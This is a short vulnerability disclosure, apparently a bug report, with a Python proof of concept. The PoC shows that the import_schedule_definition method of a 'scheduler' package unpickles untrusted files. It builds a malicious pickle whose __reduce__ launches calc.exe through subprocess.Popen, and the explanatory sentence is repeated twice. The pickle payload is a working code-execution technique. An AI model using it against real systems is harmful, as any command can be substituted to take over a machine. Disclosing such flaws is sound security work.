from scheduler import io
import os
from pathlib import Path
import pickle
class joel_test(object):
def __reduce__(self):
import subprocess
return (subprocess.Popen, ('calc.exe',))
test = joel_test()
f=open('solution\\scheduler.pickle','wb')
pickle.dump(test,f)
f.close()
io.import_schedule_definition(Path(Path.cwd(), 'solution'))
Hi, there is a vulnerability in import_schedule_definition method in io.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.
Hi, there is a vulnerability in import_schedule_definition method in io.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.